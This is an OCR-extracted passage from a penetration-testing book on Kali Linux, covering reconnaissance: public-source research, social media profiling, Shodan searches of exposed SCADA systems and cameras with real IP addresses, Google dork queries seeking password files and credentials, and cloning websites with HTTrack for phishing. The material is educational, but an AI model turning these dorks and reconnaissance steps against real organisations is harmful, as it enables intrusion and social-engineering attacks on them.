to attacks against web servers, they can simply be web-based tools for 
networking services. For example, web proxies will be found under  
this section.
Password Attacks: This section of tools primarily deals with brute force or 

Wireless Attacks: These are tools used to exploit vulnerabilities found in 
wireless protocols. 802.11 tools will be found here, including tools such as 
aircrack, airmon, and wireless password cracking tools. In addition, this 
section has tools related to RFID and Bluetooth vulnerabilities as well. In 
many cases, the tools in this section will need to be used with a wireless 

Exploitation Tools: These are tools used to exploit vulnerabilities found 
in 
Assessment of a target.

: These are tools used for network packet captures, 
network packet manipulators, packet crafting applications, and web 

There are also a few VoIP reconstruction applications.
Maintaining Access: Maintaining Access tools are used once a foothold 

compromised systems having multiple hooks back to the attacker to  
provide alternative routes in the event a vulnerability that is used by  
the attacker is found and remediated.
Reverse Engineering: These tools are used to disable an executable 
and debug programs. The purpose of reverse engineering is analyzing 
how a program 
development of other programs. Reverse Engineering is also used for 
malware analysis to determine what an executable does or by researchers  
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Stress Testing: Stress Testing tools are used to evaluate how much data a 
system can handle. Undesired outcomes could be obtained from overloading 
systems such as causing a device controlling network communication to 
open all communication channels or a system shutting down (also known as 
a denial of service attack).
Hardware Hacking: This section contains Android tools, which could be 

controlling other small electronic devices.
: Forensics tools are used to monitor and analyze computer 

Reporting Tools: Reporting tools are methods to deliver information found 
during a penetration exercise.
System Services: This is where you can enable and disable Kali services. 

There are other tools included in the Kali Linux build such as web 
browsers, quick links to tune how the Kali Linux build is seen on 
the network, search tools, and other useful applications.

Summary
This chapter served as an introduction to Penetration Testing Web Applications 

 

between various services. The key takeaway is to understand what makes a 
Penetration Test different from other security services, how to properly scope 
a level of service and best method to perform services. Positioning the right 
expectations upfront with a potential client will better qualify the opportunity  
and simplify developing an acceptable scope of work.

This chapter continued with providing an overview of Kali Linux. Topics included 
how to download your desired version of Kali Linux, ways to perform the installation, 
and brief overview of toolsets available. The next chapter will cover how to perform 

Penetration Testing services.
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Reconnaissance
The term Reconnaissance
exploring beyond the area occupied by friendly forces to gain information about the 
enemy for future analysis or attack. Reconnaissance of computer systems is similar 
in nature, meaning typically a Penetration Tester or hacker will attempt to learn as 
much as possible about a target's environment and system traits prior to launching 
an attack. This is also known as establishing a Footprint of a target. Reconnaissance 
is typically passive in nature and in many cases not illegal (however, we are not 
lawyers and cannot offer legal advice) to perform as long as you don't complete a 
three-way handshake with an unauthorized system.

Examples of Reconnaissance include anything from researching a target on public 
sources such as Google, monitoring employee activity to learn operation patterns, 
and scanning networks or systems to gather information, such as manufacture 
type, operating system, and open communication ports. The more information that 
can be gathered about a target brings a better chance of identifying the easiest and 
fastest method to achieve a penetration goal, as well as best method to avoid existing 
security. Also, alerting a target will most likely cause certain attack avenues to close 

"The quieter you become, the more you are able to hear"

Reconnaissance services should include heavy documentation, because data found 
may be relevant at a later point in the penetration exercise. Clients will also want 

Examples are what tools were used to obtain the data or what publicfacing 

obtain the data. Informing a customer "you obtained the goal" isn't good enough, 
because the purpose of a Penetration Test is to identify weakness for future repairs.

http://itbookshub.com
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Reconnaissance objectives
Target background: What is the 
Target's associates
Target's investment in security  

Target's business and security policies

Target's people

 

Target's network: How do the people and devices communicate on  

Target's defenses
Target's technologies: What technologies are used for e-mail, network  

Kali Linux contains an extensive catalog of tools titled Information Gathering 
 

and methods offered for Information Gathering. This chapter will focus on various 
web application Reconnaissance topics and relate the best tools found on the  
Internet as well as that offered by Kali Linux.

Initial research
Reconnaissance should begin with learning as much as possible about people and 
business associated with the target. Sun Tzu is credited with the phrase, "know your 
enemy" in the book, The Art of War. As a Penetration Tester, you need to know your 
target. If your target happens to be a website, you should look at all aspects of that 
website. It will give you a better understanding of how the site is maintained and 
run. Great Reconnaissance returns more possible vulnerabilities.

It is scary how much information is available on public sources. We have found 

undesirable photography, and access to security cameras. Many Penetration Testing 
project objectives start with leveraging information off public sources. Here are some 
starting points for gathering information from public sources.
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Company website
There is a lot of valuable information that can be obtained from a target's website. 

recruiting and human resource contacts. These can become targets for other search 
efforts and social engineering attacks.

More valuable information can be obtained by looking at what other companies  
are listed as partners, current job postings, business information, and security 
policies. Reconnaissance on a high-valued partner can be as important as the 
primary target, because partners may provide a new source for obtaining 
intelligence. An example is compromising a contracted resource that manages  
the helpdesk at a target's headquarters.

The Robots.txt is publicly available and found on websites that gives 
instructions to web robots (also known as search engine spiders), about what  
is and not visible using the Robots Exclusion Protocol. The Disallow: / statement 
tells a browser not to visit a source; however, a Disallow can be ignored by giving  
a researcher intelligence on what a target hopes to not disclose to the public.

To view the Robots.txt Robots.txt
website. For example, adding the Robots.txt
in the following screenshot:

http://itbookshub.com

G S https://www.facebook.com/robots.txt<-
# Notice: if you would like to crawl Facebook you can
# contact us here: http://www.facebook.com/apps/site_scraping_tos.php
# to apply for white listing. Our general terms are available
# at http://www.facebook.com/apps/site_scraping_tos_terms.php

User-agent: baiduspider
Disallow
Disallow
Disallow
Disallow
Disallow
Disallow
Disallow
Disallow
Disallow
Disallow
Disallow
Disallow
Disallow
Disallow
Disallow
Disallow
Disallow

/ac.php
/ae.php
/ajax/
/album. php
/ap.php

/autologin.php
/checkpoint/
/feeds/
/I.php
/o.php
/p.php
/photo.php

/photo_comments .php
/photo_search.php
/photos.php
/share.php
/sharer/
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Web history sources
There are archived versions of most public websites available on sources such as the 
WayBack Machine at archive.org. Interesting information can be found in an older 
version of a target's website, such as outdated organizational charts, phone numbers, 

view source or 
/robots.txt
and other useful data, the target doesn't want on the current website version. It is 
important to understand that the publicly available information is hard to remove 
completely, making historical sources a valuable place for Reconnaissance research.

To access the WayBack Machine, open up the web browser and navigate to  
http://archive.org, you will see the Internet Archive WayBack Machine  
in the middle of the page, as shown in the following screenshot:
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Type the URL you would like to browse and see if any archives have been captured. 
A history of the archive can be viewed here, as shown in the following screenshot:

http://itbookshub.com

INTERNET ARCHIVE http://www.lancope.com Co Wayback!
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As a Penetration Tester, this is a valuable tool, because it doesn't leave evidence of 
Reconnaissance on your target. In fact, your target is never even touched using this 
tool. All the information has been archived online in the Wayback Machine. The 
next two screenshots show www.lancope.com in 2002 compared to 2013:

http://itbookshub.com

site mapcontact us careers press room
Lancope

Products Reviews Partners Corporate Resources Support

Keyword Search

©

STEALTH
WATCH

CLICK HERE
Network Security
to Combat Today's
Advanced Hacker

Lancope develops next-generation intrusion
detection appliances for high-speed corporate
networks. SIGN UP

FOR THE
STEALTH

WATCH
WEBDEMO

Lancope's StealthWatch™ is an IDS appliance that provides a new and
unique approach to network intrusion detection. Our advanced threat
management system monitors, detects and responds to security breaches
and internal misuse, recognizing advanced attack methods that do not bear
signatures, such as undocumented, encrypted and DoS attacks. In addition,
it performs on high-speed networks running full duplex 100 Mbps through
Gigabit line speeds. Read more about StealthWatch™ and its innovative
flow-based architecture.

CLICK

LHERE
Our innovative technology will dramatically improve your ability to detect
anomalies, and to combat today's advanced hacker - the ones using new
and undocumented attacks that have no known signature.
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StealthWatch selected by eWeek
as "Most Impressive" of 2001

eWEEK - ' Most Impressive" Lancope IDS Looks Into the
Unknown to Detect Threats
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Regional Internet Registries (RIRs)
RIR is an organization that manages the allocation and registration of IP resources 

USA, Canada, 
and parts of the Caribbean region can be found at www.arin.net. You can gather 
information on a target such as Lancope, as seen in the following screenshot:

http://itbookshub.com

Organization

Name Lancope

Handle LANCOP

Street 3155 Royal Drive
Building 100

City Alpharetta

State/Province GA

Postal Code 30022

Country US

Registration Date 2002-06-21

Last Updated 2011-09-24

Comments

RESTful Link http:tfwhois.a rin . netfresfc'o rg/LANCOP

See Also Related networks.

See Also Related autonomous system numbers.

See Also Related POC records.
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Retrieval (EDGAR) 
The EDGAR database contains registration statements, periodic reports, and other 
forms of information on companies since 1994. Companies in the United States of 

following two screenshots show public documents found while searching Lancope:
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32

i 0
ssm

Ji SS

Filing Detail

SEC Home » Search the Next-Generation EDGAR System » Company Search » Current Page

Form REGDEX - Notice of Sale of Securities [Regulation D and Section 4(6) of the Securities Act of 1933]

Filing Date
2008-04-25

Accepted
2008-04-30 12:50:12

Documents

Filing Date Changed
2008-04-30

Effectiveness Date
2008-04-25

1

Document Format Files

Description

AUTO-GENERATED PAPER DOCUMENT

Scanned paper document

Complete submission text file

Seq

1

LANCOPE INC (Filer) CIK: 0001178004 (see all company filings)
IRS No.: 000000000
Type: REGDEX |Act: 34 | File No.: 021-45780|Film No.: 08045849

FORM D OMB APPROVAL

OMB Number: 3235-0076
Expires: April 30, 2008
Estimated average burden hours per
form,

OMB

UNITED STATES
SECURITIES AND EXCHANGE COMMISSION

Washington, D.C. 20549
16.00

1 FORM D
NOTICE OF SALE OF SECURITIES
PURSUANT TO REGULATION D,

SECTION 4(6), AND/OR
IIFORM LIMITED OFFF.Rpfl0(£68$fcB

APR SO 2008

SEC USE ONLY

08045849
PirfU UJ'UVIl) Serial

REUTERS >Name of Offering (( ] check if this is an amendment and name has

Issuance of Warrants for shares of Common Stoc
OcC

[XJRule 506 [ JSection 4(6) []ULOE SedtonFiling Under (Check box(cs) that apply): [ ]Rule 504 [ )Rule 505
Type of Filing: (xJNcw Filing ( ]Amendment

v $ 70(lfl
A. BASIC IDENTIFICATION DATA

1. Enter the information requested about the issuer
Washington, DCName of Issuer ([ ] check if this is an amendment and name has changed, and indicate change.)

Lancope, Inc._ 104
Telephonc Number (Including Area Code)Address of Executive Offices (Number and Street. City, State, Zip Code)

3650 Brookside Parkway, Brookside Concourse 100, Suite 400, 770-225-6500
Alpharetta.GA 30022_
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Social media resources
Social media is everywhere, and in most cases, publicly accessible. Most people have 
a Facebook, LinkedIn, blogs, or other forms of cloud accounts containing valuable 
information. This information can be used as a means of social engineering intelligence 
from a target's current or previous staff. An example is searching Glassdoor.com to 
identify previous employees that are disgruntled, based on feedback.

that can comb popular social media, public records, and job recruiting websites to 

A researcher could gather information such as everywhere an individual has lived, 
done business, people with which they socialize, special interests, favorite sport 
teams, and other useful data for future research and social engineering attacks.

Trust
Most people are naturally trusting and assume information posted on public sources is 
real. To test this concept, the writers of this book created a fake person through social 
media and pretended to be a new hire for a target company. The fake person would 
become friends with associates of our target, post fake holiday cards that are linked 
to a  system designed to compromise vulnerable Internet browsers (using BeEF 
is covered later in this book), and captured sensitive information from compromised 
systems. We were able to map out the entire organization, obtain network information, 
and even had hardware shipped to us without an internal e-mail or phone number. 
Our fake person, Emily Williams isn't real, yet received job offers, was provided inside 
information, and access to events hosted by the target. Information is power, and 
people will give it to a requester who seems like they can be trusted.

More information on this project can be found at:  
http://www.thesecurityblogger.com/?p=1903

Job postings
Job postings contain a wealth of knowledge about a target's environment. Job listings 
can provide details on what type of systems are installed, who manages them, how 
large the staff is, and the staff's skill level. Human Resource representatives are 
typically eager to share information with a potential new hire, which can be used as 
an avenue to inside information. An example is targeting a job posting for a Oracle 
developer to understand the hardware, version of Oracle, names of existing and 
previous administrators, existing operation issues, security gaps, and methods to 
access such as asking "can administrators work from home, and how do they access 
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popular job boards. These trends may uncover new vectors for attack. Glassdoor.
com is an example of a popular source for this type of data.

Location
The investment in cyber security for a target can typically be determined based on 
the level of physical security. One would assume a building with fences and armed 
guards would have a higher investment in cyber security than a target located within 
a public building. Online mapping sources such as Google maps can help identify 
where physical security is implemented, and trends on how people move to and 
from the target. Other areas of interest are identifying where a Penetration Tester 
could camp out to scan for wireless networks, and possible methods to bypass  
access controls, such as attire and badges used to obtain physical access.

Shodan
Shodan is a search engine that can 

 
For example, you can  
a version of software such as IOS Version 15.0(1)EX.
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The following example is a use case searching for any SCADA system with public 
Internet access, which in theory isn't supposed to exist however, Shodan can show 
this is not necessarily true. SCADA systems control things like power management 
and water treatment, so identifying public accessible systems is extremely bad!

http://itbookshub.com

E;SHODAN Searchscada

Services

HTTP

NetBIOS

401 Unauthorized
78.70.11.144
TeliaSonera AB
Added on 28.02.2013

Stdnga

HTTP/1.0 401 Unauthorized

Date: Thu, 28 Feb 2013 17:57:16 GMT

Server: Boa/0.93.15

Connection: close

WWW-Authcnticatc: Basic rcalm="wcbSCADA''

Content-Type: text/html

135

44

25SMB
14FTP 78-70-11-144-rto148.bus i ness.tel la.com

12HTTP Alternate

Top Countries

United States

Canada

Finland

Sweden

Denmark

69 65.98.173.75
Conaway Preservation Group, LLC
Added on 28.02.2013
§1 Palm Desert

41 NetBIOS Response

Scrvcmamc: SCADA

MAC: b8:ac:6f:81:7b:c9

18

13

12 cust-€5-98-173-75.atatic.ol .com

Names:

SCADA <0x0>

WORKGROUP <0x0>

SCADA <0x20>

WORKGROUP <0x1o

WORKGROUP <0x1d>

__
MSBROWSE

__
<0x1>

Top Cities

Calgary

Houston

Sylvan Lake

Burnaby

Stockholm

11

5

5

5

5

401 Authorization Required
142.59.128.96
Windows XP
AGT
Added on 28.02.2013

1*1 Calgary

Top Organizations

Telus Communications

Nucleus Information Se...

Telefonica de Espana

Comcast Business Commu... 4

Hetzner Online AG

13

6

5
d10-137-237-225.abhala.telua.net

4
HTTP1*1 0 4(11 Anthori ynticin Rmnirod
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Google hacking
Google hacking is the most common form of search engine Reconnaissance of web 
applications. Google hacking uses advanced operations in the Google search engine 
to 

Powered by Apache in the 
intitle:"index of" ws_ftp.log, containing 
sensitive IP information. The following few screenshots demonstrate using a Google 

shows the search command followed by some example results from issuing the search. 
The last screenshot shows a camera feed that could be found using this technique.

http://itbookshub.com

Goggle inurhmain.cgi linksys

Web Images Maps Shopping More - Search tools

Linksvs Wireless-G Internet Video Camera
92.71.245.81:1027/main.cgi?next_file=index.htm *

Linksys. Ver2.12, Home|View Video|Setup|Linksys WEB|Help|Exit.

Linksvs Wireless-G PTZ Internet Camera with Audio
mam-camera.dnsalias.net/main.cgi?next_file=index.htm *

WVC200. Wireless-G PTZ Internet Camera with Audio, Home| View Video| Setupl
Linksys Web| Exit. Connected User Number: 0.© Copyright 2007 Cisco ...

Linksvs Web Camera
177.142.48.3:1028/main.cgi?next_file=index.htm -
Linksys. Ver2.13, Home|View Video|Setup|Linksys WEB|Help|Exit.

Linksvs Internet Camera
91.196.11.12/main.cgi?next_file=v_video.htm *

LINKSYS PVC2300.

Linksvs Wireless-G Internet Video Camera
72.250.149.128:1024/main.cgi?next_file=index.htm *

Linksys. Ver2.11, Home|View Video|Setup|Linksys WEB|Help|Exit.

YouVe visited this page 4 times. Last visit 3/19/13

Linksvs Wireless-G PTZ Internet Camera with Audio
213.67.110.104:1024/main.cgi?next_file=main.htm *

WVC200. Linksys Wireless-G PTZ Internet Camera with Audio. Home, |, View Video,
|, Setup, |, Linksys Web, |, Exit. Image Resolution. 640*480, 320*240, 160* ...

Linksvs Wireless-G PTZ Internet Camera with Audio
66.11.106.28:8181/main.cgi?next_file=main.htm *

WVC200. Wireless-G PTZ Internet Camera with Audio, Home| View Video| Setupl
Linksys Web| Exit. Image Resolution. 640*480, 320*240, 160*128. Northwest ...
YouVe visited this page 3 times. Last visit 3/19/13
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Some example search queries are as follows:

intext: classified top secret

Management GUIs (caution: you may not like 
inurl:main.cgi

inurl:NESSUSXXXXXXXX

For more information on Google hacking, check out a very good book titled Google 
Hacking for Penetration Testers by Johnny Long, as well as his website at http://
johnny.ihackstuff.com.

Google Hacking Database
The Google Hacking Database (GHDB) created by Johnny Long of Hackers For 
Charity (http://www.hackersforcharity.org/
search queries. Searches for usernames, passwords, vulnerable systems, and exploits 

who have categorized the Google searches are affectingly known as Google dorks.

http://itbookshub.com

LINKSYS WVC80N
A Division ol Cisco Systems, Inc

Wireless-N Internet Home Monitoring Camera Home | View Video | Setup | Linksys Web | Help | Exit
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To access the GHDB, navigate to http://www.exploit-db.com/google-dorks/. 
You will see the latest GHDB searches listed on the web page. You can click on any 
of the search queries yourself.

 
been saved. In the following example, we scroll to the category   
and select the query .

http://itbookshub.com

GQOGUfe~

HACKING-IDATABASE
Welcome to the google hacking database

We call them 'googledorks': Inept or foolish people as revealed by Google. Whatever you call these
fools, you've found the center of the Google Hacking Universel

Search Google Dorks

Free text search:Category: All

Latest Google Hacking Entries
Date Title

2013-04-23 allintext: /iissamples/default/

2013-04-22 filetype:ini 'This is the default settings fi...

2013-04-22 filetype:php -site:php.net intitle:phpinfo "p...

2013-04-22 i nurl :/voice/adva need/ intitle:Linksys SPA configu...

2013-04-22 inurl:"/root/etc/passwd" intext:"ho...

2013-04-22 i ntext:"root:x:0:0:root:/root:/bin/bash"...

2013-04-22 filetype:sql insite:pass && user

2013-04-22 Serv-U (c) Copyright 1995-2013 Rhino Software, Inc...

2013-04-09 filetype:config inurl:web.config inurl:ftp

2013-04-09 allintext: "Please login to continue..."...

Category
Files containing juicy info

Files containing juicy info

Files containing juicy info

Various Online Devices

Files containing usernames

Files containing usernames

Files containing passwords

Pages containing login portals

Files containing passwords

Pages containing login portals

*'-r™

A A Ai

>11 M >; iT>T> rA r.

mm mmi|i’•jT §

•r?•’•Tv

Vulnerable Files $
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We can select the search query, and it will bring us to Google, performing the  
same search query.

http://itbookshub.com

rt%/aÿn

Google search: QfQTjiZM on

Hits: 5280

Submited: 2011-05-28

G00gle inur1:loader-wizard ext:php I rsi

Web Images Maps Shopping More Search tools

About 3,510 results (0.23 seconds)

ionCube Loader Wizard
gsship.org/GSSC/ICONCubelnstall/.../loader-wizard.php?timeout...
Loader is at: /home4/gsshipor/public_html/ioncube/ioncube_loader_lin_5.2.so. Loader
OS code: lin. Loader architecture: x86. Loader word size: 32. Loader PHP ...

ionCube Loader Wizard
tecnologias101.info/algesweb/ioncube/loader-wizard.php -
Please contact the script provider if you do experience any problems running encoded
files. For security reasons we advise that you remove this Wizard script ...

ionCube Loader Wizard - Next Best Thing To Mom
www.nextbestthingtomom.net/loader-wizard.php
ionCube Loader Wizard. GoDaddy Installation Instructions. It appears that you are
hosted with GoDaddy (www.godaddy.com). If that is not the case then please ...

ionCube Loader Wizard
www.municanete.gob.pe/loader-wizard.php
ionCube Loader Wizard. To use files that have been protected by the ionCube PHP
Encoder, a component called the ionCube Loader must be installed.

ionCube Loader Wizard
planetgore.com/ioncube/loader-wizard.php?page=default
ionCube Loader Wizard. An updated version of this Wizard script is available here. The
ionCube Loader version 4.0.4 is already installed and encoded files ...
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The preceding example shows Google has found a few results. The  
 is actually a 

great piece of software that protects software written in PHP from being viewed or 
changed from unlicensed computers. However, in this case, administrators left the 

The GHDB essentially turns Google into a limited web application scanner for a 
Penetration Tester. In this case, good software that can increase security can now 
potentially be used against a web server by an attacker.

Researching networks
Many people do not understand the true purpose of researching the network of a 
target prior to launching an attack. Amateur Penetration Testers understand the need 
to pick a target before they can perform a Penetration Test. After all, a Penetration 
Tester needs someplace at which to point their arsenal of tools. Many amateurs will 
run Nmap, ping sweeps, or other noisy tools to determine what targets are available 
disrupting the environment, which later yields poor results.

Network Reconnaissance is about selecting a target. A seasoned network security 
professional will tell you good Reconnaissance is about selecting a quality target, 

http://itbookshub.com

Professional PHP Solutions

ionCube0

ionCube Loader Wizard

To use files that have been protected by the ionCube PHP Encoder, a component called the ionCube Loader must be installed.

This Wizard will give you information on how to install the ionCube Loader.

Please select the type of web server that you have and then click Next.

OShared (for example, server with FTP access only and no access to php.lnl)

ODedicated or VPS (server with full root ssh access)

OLocal Install

Next
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From a client's viewpoint, Penetration Testers will encounter individuals 
that gain satisfaction in stopping Penetration Testers to prove their value 
as employees, as well as how well prepared they are for cyber attacks. It 
is highly recommended that a professional Penetration Tester does not 

performed. A Penetration Tester should focus on security awareness, 
and reveal what vulnerabilities exist with the least amount of interaction 
with a target's staff during a service engagement.

The following are the best available tools in Kali for web application 
Reconnaissance. Other tools may be available for web applications or  
different target types however, the focus of this chapter is enabling a  
reader for evaluating web application-based targets.

HTTrack is a tool built into Kali. The purpose of HTTrack is to copy a website.  
It allows a Penetration Tester to look at the entire content of a website, all its pages, 

and in their own controlled environment. In addition, we will use 
HTTrack for social engineering attacks in later chapters. Having a copy of a website 
could be used to develop fake phishing websites, which can be incorporated in other 
Penetration Testing toolsets.

To use HTTrack, open a Terminal window and type in apt-get install httrack 
as shown in the following screenshot.

Some versions of Kali do not have this built-in.

http://itbookshub.com

]
root@kali : ~# apt -get install httrack
Reading package lists... Done
Building dependency tree
Reading state information... Done
httrack is already the newest version.
The following packages were automatically installed and are no lone
er required:

greenbone-security-assistant libksba8 libmicrohttpdlO
libopenvas6 openvas-administrator openvas-cli openvas-manager
openvas- scanner xsltproc

Use 'apt-get autoremove1 to remove them.
0 upgraded, 0 newly installed, 0 to remove and 2 not upgraded.
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You will want to create a directory to store your copied website. The following 
screenshot shows a directory created named mywebsites using the mkdir command.

To start HTTrack, type httrack in the command window and give the project  
a name, as shown in the following screenshot:

The next step is to select a directory to save the website. The example in the 
following screenshot shows the folder created in the previous step /root/
mywebsites, used for the directory:

Enter the URL of the site you want to capture. The example in the following 
screenshot shows www.drchaos.com. This can be any website. Most attacks  
use a website accessed by clients from your target, such as popular social  
media websites or the target's internal websites.

The next two options are presented regarding what you want to do with the 
captured site. Option 2 is the easiest method, which is a mirror website with  
a wizard as shown in the following screenshot:

http://itbookshub.com

root@kali:-# mkdir mywebsites

root@kali :~# mkdir mywebsites
root@kali:~# cd / websites
root@kali : /# httrack

Welcome to HTTrack Website Copier (Offline Browser) 3.46+libhtsj.
.so.2
Copyright (C) Xavier Roche and other contributors
To see the option list, enter a blank line or try httrack --help

Enter project name

|root@kali:/# httrack

Welcome to HTTrack Website Copier (Offline Browser) 3.
.so.2
Copyright (C) Xavier Roche and other contributors
To see the option list, enter a blank line or try httr

Enter project name :drchaos.com

Base path ( return=/root/websites/) :/root/mywebsites|
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Next, you can specify if you want to use a proxy to launch the attack. You can also 

screenshot shows *

additional options.

Before httrack runs, it will display the command that it is running. You can use this 
command in the future if you want to run httrack without going through the wizard 
again. The following two screenshots show hhtrack cloning www.drchaos.com:

http://itbookshub.com

Base path (return=/root/websites/) :/root/mywebsites

Enter URLs (separated by commas or blank spaces) :vAAv.drchaos.com

Action:
(enter) 1

i

Mirror Web Site(s)
Mirror Web Site(s) with Wizard
Just Get Files Indicated
Mirror ALL links in URLs (Multiple Mirror)

Test Links In URLs (Bookmark Test)
Quit

2
3
4
5
0

(enter) 1 Mirror Web Site(s)
Mirror Web Site(s) with Wizard
Just Get Files Indicated
Mirror ALL links in URLs (Multiple Mirror)

Test Links In URLs (Bookmark Test)
Quit

2
3
4
5
0

: 2

Proxy (return=none) :

You can define wildcards, like: -*.gif +www.*.com/*.zip -*
Wildcards ( return=none) :*

You can define additional options, such as recurse level (-
>) , separed by blank spaces
To see the option list, typeJtelpL
Additional options ( return=none) :

mm
---> Wizard command line: httrack www.drchaos.com -W -0 "/r
bsites/drchaos.com'' -%v *

Ready to launch the mirror? (Y/n)|

.« Idt V«w Ttrnryi M*p

* www. drchaos . com/tag/compliance/www. facebook.com/aamirl
9Q/86Q: www.drchaos.com/tag/continuous-monitoring/ (3421

* www.drchaos.com/wp content/uploads/2013/06/identity_an
* www. drchaos . com/tag/continuous -monitoring/<a href= (33

www. drchaos . com/benefits -of -using-identity -and -access -
* www. drchaos . com/tag/continuous -monitoring/www. facebook
+ www. drchaos . com/tag/fedtech/www. facebook . com/aamirlakh
* www. drchaos . com/tag/ise/www.facebook .com/aamirlakhaniO

www. drchaos . com/tag/infosec/www. facebook . com/aamirlakh
* www. drchaos . com/author/tim adams/www. facebook.com/aami
* 1.gravatar . com/avatar/f bbf2cf55edl6f77Q7a9e5d8dblc657b

tp?o3A%2F%2Fl.gravatar . com-o2Favatar%2Fad5165Q3allcd5ca435

www. drchaos . com/wp-content/uploads/2G13/06/ir_plan-190
* www. drchaos . com/category/travel/www. facebook.com/aamir

www. drchaos . com/wp-content/uploads/2013/O7/Travel-9Ox6
* www. drchaos . com/wp-content/uploads/2013/O7/dsc_GO67-3O
* www. drchaos . com/tag/t ravel/www. facebook . com/aami rlakha
* www.drchaos.com/tag/data breach/www.facebook.com/aamir
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After you are done cloning the website, navigate to the directory where you  
 

following screenshot:

You are now ready to research your target's website and possibly build a  
customized penetration tool or exploit user access to a cloned website.

ICMP Reconnaissance techniques
The ping and traceroute basic information 
about your target. When information travels across networks, it usually does not go 
directly from source to destination. It usually traverses through several systems, such 

The traceroute 
the time it takes for the data to move between systems. The tool is installed in every 
modern operating system. For most high-value targets, the ping and traceroute 
commands will most likely be disabled, and excessive use of these services will 

systems are set up not to respond to number B24RYE routes. If systems do respond 
to traceroute, using this too excessively can trigger security events. These tools are 
noisy, and when used indiscriminately, they will set off alarms and logs. If your goal 
is to be stealthy, you have just been defeated, giving your target an opportunity to 
set up and deploy counter measures against your Penetration Test.

An ICMP sweep simply sends out an echo request and looks for a reply. If a reply 
is returned, then, as a Penetration Tester, you know there is a possible target. The 

means any scans from outside going to an internal target network will be blocked by 
an ICMP scanner.

The ping command is the most basic way to start an ICMP sweep. You simply type 
in ping followed by a hostname or IP address to see what will respond to the ICMP 
echo request. The following screenshot shows a ping of www.google.com:

http://itbookshub.com

root@kali:~# cd rnywebsitos/
root@kali:~/mywebsites# Is
cloudcentrics.com

:~/mywebsites#
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If you get any responses back, you will know that your host is alive. If you get any 
timeouts, your ICMP request is being blocked, or no destination host has received 
your request.

The problem with the ping command is that it only allows you to use ICMP to  
check on one host at a time. The fping command will allow you ping multiple  

 
hostnames or IP addresses and send them using ICMP echo requests packets.

To use the fping command to run an ICMP sweep on a network, issue the  
following command:

fping-asg network/host bits

fping -asg 10.0.1.0/24

Although the a results via IP address of live hosts only, the s
displays statistics about the scan, the g sets fping in quite mode, which means it 
does show the user the status of each scan, only the summary when it has completed.

The Nmap provides similar results as the fping command.

DNS Reconnaissance techniques
Most high-value targets have a DNS name associated to an application. DNS 
names make it easier for users to access a particular service and add a layer of 
professionalism to their system. For example, if you want to access Google for 
information, you could open a browser and type in 74.125.227.101 or type www.
google.com.

http://itbookshub.com

Last login: Tue Sep 10 10:28:12 on console
rtp-jomuniz-8815:ÿ jomuniz$ ping www.googe.com
PING www.googe.com (72.44.93.94): 56 data bytes
64 bytes from 72.44.93.94: icmp_seq=0 ttl=45 time=123.566 ms
64 bytes from 72.44.93.94: icmp_seq=l ttl=45 time=110.351 ms
64 bytes from 72.44.93.94: icmp_seq=2 ttl=45 time=106.218 ms
64 bytes from 72.44.93.94: icmp_seq=3 ttl=45 time=116.490 ms
64 bytes from 72.44.93.94: icmp_seq=4 ttl=45 time=116.566 ms

— www.googe.com ping statistics —5 packets transmitted, 5 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 106.218/114.638/123.566/5.935 ms
rtp-jomuniz-8815:~ jomunizS|

]
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DNS information about a particular target can be extremely useful to a Penetration 
Tester. DNS allows a Penetration Tester to map out systems and subdomains. Older 

most DNS servers today do not allow unauthenticated zone transfers. However, all 
is not lost! DNS by its very nature is a service that responds to queries; therefore, 
an attacker could use a word list query containing hundreds of names with a DNS 
server. This attack vector is an extremely time consuming task; however, most 
aspects can be automated.

Dig (domain information groper) is one the most popular and widely used DNS 
Reconnaissance tools. It queries DNS servers. To use Dig, open a command prompt 
and type dig and hostname, where hostname represents the target domain. Dig  
will use your operating systems default DNS settings to query the hostname. 

@<IP> to the 
command. The example in the following screenshot illustrates using Dig on  
www.cloudcentrics.com.

http://itbookshub.com

alakhani — bash — 80x24 n0 O O ::
Bchaos:ÿ alakhani$

chaos:*'' alakhani$
chaos:*'' alakhani$
chaos:*'' alakhani$ dig www.cloudcentrics.com

«» DiG 9.8.3-PI «» www.cloudcentrics.com
global options: +cmd
Got answer:
-»HEADER«- opcode: QUERY, status: NOERROR, id: 57827
flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www. cloudcentrics. com. IN A

;; ANSWER SECTION:
www.cloudcentrics.com.
cloudcentrics.com.

cloudcentrics.com.
50.116.97.205

14400 IN
14400 IN

CNAME
A

Query time: 24 msec
SERVER: 10. 0.1.1#53(10.0.1.1)

WHEN: Tue Mar 19 23:54:02 2013
MSG SIZE rcvd : 69

chaos:*'' alakhani$
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The -t option in Dig will delegate a DNS zone to use the authoritative name  
servers. We type dig -t ns cloudcentrics.com in the example in the  
following screenshot:

We see from the results we have two authoritative DNS servers for the domain  
www.cloudcentrics.com; they are ns3681.hostgator.com and ns3682.
hostgator.com.

Congratulations, you have just found the authoritative DNS server for your  
target DNS.

Now that you have found the authoritative DNS servers for a domain, you might 
want to see what hosts have entries on that domain. For example, the domain 
drchaos.com may have several hosts. such as cloud.drchaos.com, mail. drchaos.
com, sharepoint.drchaos.com. These all could be potential applications and 
potentially high value targets.

Before we randomly start choosing hosts, we should query the DNS server to see  
what entries exist. The best way to do that is to ask the DNS server to tell us. If the 

http://itbookshub.com

0ÿ0 XX alakhani — bash — 80x24 71
Last login: Tue Mar 19 23:50:26 on ttys000
chaos:ÿ alakhani$ dig -t ns cloudcentrics.com

«» DiG 9.8.3-PI «» -t ns cloudcentrics.com
global options: +cmd
Got answer:
-»HEADER«- opcode: QUERY, status: NOERROR, id: 15672
flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
; cloud cent rics. com. NSIN

;; ANSWER SECTION:
cloudcentrics.com.
cloudcentrics.com.

85749 IN
85749 IN

NS ns3681. hostgator. com.
ns3682. hostgator. com.NS

Query time: 5 msec
SERVER: 10. 0.1.1#53(10.0.1.1)

WHEN: Wed Mar 20 00:04:53 2013
MSG SIZE rcvd : 87

chaos:*'' alakhani$
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Kali ships with a tool named Fierce. Fierce will check to see if the DNS server allows 
zone transfers. If zone transfers are permitted, Fierce will execute a zone transfer and 
inform the user of the entries. If the DNS server does not allow zone transfers, Fierce 

a Reconnaissance tool before you use a tool that requires you to know IP addresses, 
such as Nmap.

To use Fierce, navigate to Information Gathering | DNS Analysis | .  
Fierce will load into a terminal window as shown in the following screenshot.

